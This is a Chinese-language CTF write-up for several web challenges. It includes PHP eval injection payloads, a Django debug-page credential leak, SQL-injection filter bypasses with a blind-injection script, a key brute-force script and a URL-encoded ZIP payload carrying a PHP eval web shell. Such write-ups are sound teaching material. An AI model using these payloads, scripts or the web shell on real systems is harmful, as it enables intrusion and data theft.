这次打web是真的菜,不过收货颇丰,需要走的路还很长。

BabyEval

1
2
3
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');

代码执行漏洞

${phpinfo()}告诉我们最里面这个是变量,名为phpinfo(),接下来的一层花括号将其解析为字符串”phpinfo()”
另外,{}有时候也可以当[]使用,文档中有说明:”Note: string 也可用花括号访问,比如

1
str42",这里str{42}==$str[42]

payload1:

1
?str=${eval($_POST[1])}

payload2:

1
?str=${var_dump(`ls ../../../`)}

BabyLeakage

Django框架的,之前没遇到的,这个框架有个很经典的目录穿越漏洞、。

文章:http://www.lijiejie.com/python-django-directory-traversal/

hint:/news/about/
emmmm~ try to debug ~

开着debug,然后访问不存在的目录使其报错

根据目录结构构造不存在的页面使其报错

1
http://118.89.230.52:8000/news/column/ddd/

拿到敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MYSQL_HOST
'mysql'
MYSQL_PASSWORD
'Fl4g_1s_n0T_H3re_But_C10se'
MYSQL_PORT
'3306'
MYSQL_USER
'manage'

然后数据库连接

1
λ mysql -h 118.89.230.52 -u manage -p

1
2
3
4
5
6
7
8
9
mysql> show tables;
+----------------------+
| Tables_in_F1agIsHere |
+----------------------+
| a |
| f |
| g |
| l |
+----------------------+

表里面都没有数据,根据表名是flag猜测表的结构是flag内容.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
mysql> desc f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> desc l;
+---------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| { | text | YES | | NULL | |
| C10se_ | text | YES | | NULL | |
| Debu91n | text | YES | | NULL | |
+---------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> desc a;
+----------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES | | NULL | |
| mmp | text | YES | | NULL | |
| ort | text | YES | | NULL | |
+----------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> desc g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7 | text | YES | | NULL | |
| } | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+

拼接起来拿到flag。

BabyInject

Sqli真是博大精深,有空得多翻翻手册啊。

这题后来才知道跟实验吧的一道题目类似,payload基本一样,但是当时没有理解啥子意思。

ps:感谢胖虎表哥

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
echo 'Login and get the flag';
echo '<form action="" method="post">'."<br/>";
echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
echo '<input type="submit" ></input>'."<br/>";
echo '</form>'."<br/>";
die;
}
$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
die("Hacker hacker hacker~");
}
$conn = mysqli_connect();
$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}

一开始拿到题看了下过滤,emm过滤的真干净啊

1
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

然后分析一下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}

首先判断了一下查询出来的数据是否是一条,然后对比了密码,这里有两种办法,拿到正确密码,或者去伪造一个查询出来的密码。

类似的还有union select 1,2,md5(1)这种

  • 解法一

group by

这个函数起一个分组的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from admin group by username;
+----+----------+----------------------------------+------+
| id | username | password | num |
+----+----------+----------------------------------+------+
| 1 | admin | 6Cf835Dd0fa7E0eDfBbfb8A8aID15DWd | 10 |
| 3 | test | dddddd | 30 |
+----+----------+----------------------------------+------+
2 rows in set (0.12 sec)
mysql> select * from admin group by username,password;
+----+----------+----------------------------------+------+
| id | username | password | num |
+----+----------+----------------------------------+------+
| 1 | admin | 6Cf835Dd0fa7E0eDfBbfb8A8aID15DWd | 10 |
| 2 | admin | dddddd | 20 |
| 3 | test | dddddd | 30 |
+----+----------+----------------------------------+------+

rollup

这个函数可以对group by分组的信息进行汇总

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mysql> select username,password,num from admin group by username,password with rollup;
+----------+----------------------------------+------+
| username | password | num |
+----------+----------------------------------+------+
| admin | 6Cf835Dd0fa7E0eDfBbfb8A8aID15DWd | 10 |
| admin | dddddd | 20 |
| admin | NULL | 20 |
| test | dddddd | 30 |
| test | NULL | 30 |
| NULL | NULL | 30 |
+----------+----------------------------------+------+
6 rows in set (0.02 sec)
这里查询的使用可以使用sum对num进行求和。
mysql> select username,password,sum(num) from admin group by username,password with rollup;
+----------+----------------------------------+----------+
| username | password | sum(num) |
+----------+----------------------------------+----------+
| admin | 6Cf835Dd0fa7E0eDfBbfb8A8aID15DWd | 10 |
| admin | dddddd | 20 |
| admin | NULL | 30 |
| test | dddddd | 30 |
| test | NULL | 30 |
| NULL | NULL | 60 |
+----------+----------------------------------+----------+
6 rows in set (0.07 sec)


但是这里限制limit,可以是用

1
2
3
4
5
6
mysql> select * from admin where username="" or 1 group by password with rollup having password is NULL;
+----+----------+----------+------+
| id | username | password | num |
+----+----------+----------+------+
| 2 | admin | NULL | 20 |
+----+----------+----------+------+

1
2
3
4
5
6
mysql> select * from admin where username="" or 1 group by password with rollup having password <=> NULL;
+----+----------+----------+------+
| id | username | password | num |
+----+----------+----------+------+
| 2 | admin | NULL | 20 |
+----+----------+----------+------+

这里说一下<=>

  • 和=号的相同点

像常规的=运算符一样,两个值进行比较,结果是0(不等于)或1(相等);换句话说:’A’<=>’B’得0和’a’<=>’a‘得1。

  • 和=号的不同点

和=运算符不同的是,NULL的值是没有任何意义的。所以=号运算符不能把NULL作为有效的结果。

然后置空passwd,查询出来的是NULL,NULL=NULL。

  • 解法二
    昨天晚上看到CodeMonster写的writeup,原来这题还是可以盲注的,膜。

附上表哥的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# encoding: utf-8
import requests
req=requests.session()
lists="0123456789abcdefghijklmnopqrstuvwxyz"
flag=''
for i in range(50):
url="http://182.254.247.127:2005/"
ok=''
for s in lists:
payload={"username":"1'||passwd<'"+flag+s+"'=id#","passwd":""}
print payload
r1=req.post(url,data=payload)
if "username" in r1.text:
ok=s
else:
flag+=ok
print flag
break

这里用了mysql的字符串比较操作符,然后控制id来控制只输出一条数据.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select * from admin where username="" || id=2 && password<"5";
+----+----------+----------+------+
| id | username | password | num |
+----+----------+----------+------+
| 2 | admin | 456 | 20 |
+----+----------+----------+------+
1 row in set (0.00 sec)
mysql> select * from admin where username="" || id=3 && password<"8";
+----+----------+----------+------+
| id | username | password | num |
+----+----------+----------+------+
| 3 | test | 789 | 30 |
+----+----------+----------+------+
1 row in set (0.00 sec)
mysql> select * from admin where username="" || id=3 && password<"7";
Empty set (0.00 sec)

这样通过id指定的话改一下payload直接上脚本把数据全脱了。

另外如果想跨表查询的话

1
2
3
4
5
6
mysql> select a.password<'z' from users a limit 1,1;
+----------------+
| a.password<'z' |
+----------------+
| 1 |
+----------------+

SecurePY

  • hint:/pycache/

.py文件生成的pyc文件会被存储在pycache文件夹中,并以.cpython-XX.pyc为扩展名
而XX和版本号有关

访问/__pycache__/app.cpython-35.pyc,拿到pyc反编译文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
#visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
def index():
return render_template('index.html', flag_enc = flag_enc)
index = app.route('/')(index)
def getflag():
req = request.json
if not req:
return jsonify(result = False)
if None not in req:
return jsonify(result = False)
key = None['key']
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y):
return jsonify(result = False)
cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(flag_enc))
flag = plain_text.decode('utf-8').strip()
return jsonify(result = True, flag = flag)
getflag = app.route('/getflag', methods = [
'POST'])(getflag)
if __name__ == '__main__':
app.run()

这里可以看到是用的AES的CBC模式进行加密的,因此可以想到Padding Oracle。

看关键代码:

1
2
3
4
5
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y):
return jsonify(result = False)

先比较key的长度,然后按位异或,如果不相等的话就返回False。

我们传入的参数key,服务器端并没有验证它的类型,也就是说我们可以传入一个list,而不是一个字符串。假如我们传入key为[null,null],这里的len(key)即为2。

注意,服务器端接收的数据格式是JSON,在python的文档中定义了json格式和python的转换:

也就是说null会自动转换成None,但是

1
2
3
4
>>> print ord(None)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: ord() expected string of length 1, but NoneType found

ord()函数里面如果是None的话就会抛出错误。

如果post数据为(16个null)时

1
{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}

服务器会返回500错误,也就是在ord()函数处抛出的。

那么我们就可以按位置爆破,


但第一位正确的时候就会进行第二位的异或比较,因为第二位是null,所以会返回500错误,根据这个错误我们爆破拿到key。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
url = "http://123.206.83.157:8000/getflag"
flag =''
for i in range(16):
for y in xrange(32,128):
key[i] = str(chr(y))
data = {"key":key}
req = requests.post(url=url,json=data)
print req.content
if "500" in req.content:
print chr(y)
flag += str(chr(y))
break
print flag

  • ps:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/

BabyWrite

config.php

1
<? php $admin_hash = "df650edd89a1abfb417124133daf4c103e6d2e97";

index.php

1
2
3
4
5
6
7
8
<? php
if (isset($_GET['page'])) {
$file = $_GET['page'].'.php';
include($file);
} else {
header("Location: /?page=login");
die();
} ?>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<? php require_once('config.php');
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash) {
echo '<script>alert("Login seccess!");</script>';
} else {
if (isset($_GET['debug'])) {
if ($_GET['debug'] === 'hitctf') {
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
} else {
echo '<script>alert("Login failed!");</script>';
}
} else {
echo '<script>alert("Login failed!");</script>';
}
}
} else {
echo '<script>alert("Please input username and password!");</script>';
} ?>

看关键代码

1
2
3
4
5
6
if (isset($_GET['debug'])) {
if ($_GET['debug'] === 'hitctf') {
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
}

如果debug=hitctf
那么就可以将用户名和密码写进username.log里面,但是使用=>拼接的,这里的思路是写进去一个压缩包,然后使用phar或者zip伪协议来进行包含。

看压缩包的构造

这里需要知道文件的命名是不能包含%00

构造payload:

1
username=%50%4B%03%04%0A&password=%00%83%AA%43%4C%0C%B1%D1%FB%03%00%00%00%03%00%00%00%06%00%00%00%31%31%2E%74%78%74%64%64%64%50%4B%03%04%0A%00%00%00%00%00%91%AA%43%4C%2A%13%6D%F4%18%00%00%00%18%00%00%00%09%00%00%00%73%68%65%6C%6C%2E%70%68%70%3C%3F%70%68%70%20%65%76%61%6C%28%24%5F%50%4F%53%54%5B%31%5D%29%3B%3F%3E%50%4B%01%02%3F%00%0A%00%00%00%00%00%83%AA%43%4C%0C%B1%D1%FB%03%00%00%00%03%00%00%00%06%00%24%00%00%00%00%00%00%00%20%00%00%00%00%00%00%00%31%31%2E%74%78%74%0A%00%20%00%00%00%00%00%01%00%18%00%F5%42%12%B4%F1%9C%D3%01%98%14%92%B0%F1%9C%D3%01%98%14%92%B0%F1%9C%D3%01%50%4B%01%02%3F%00%0A%00%00%00%00%00%91%AA%43%4C%2A%13%6D%F4%18%00%00%00%18%00%00%00%09%00%24%00%00%00%00%00%00%00%20%00%00%00%27%00%00%00%73%68%65%6C%6C%2E%70%68%70%0A%00%20%00%00%00%00%00%01%00%18%00%74%E9%EE%C4%F1%9C%D3%01%74%E9%EE%C4%F1%9C%D3%01%98%14%92%B0%F1%9C%D3%01%50%4B%05%06%00%00%00%00%02%00%02%00%B3%00%00%00%66%00%00%00%00%00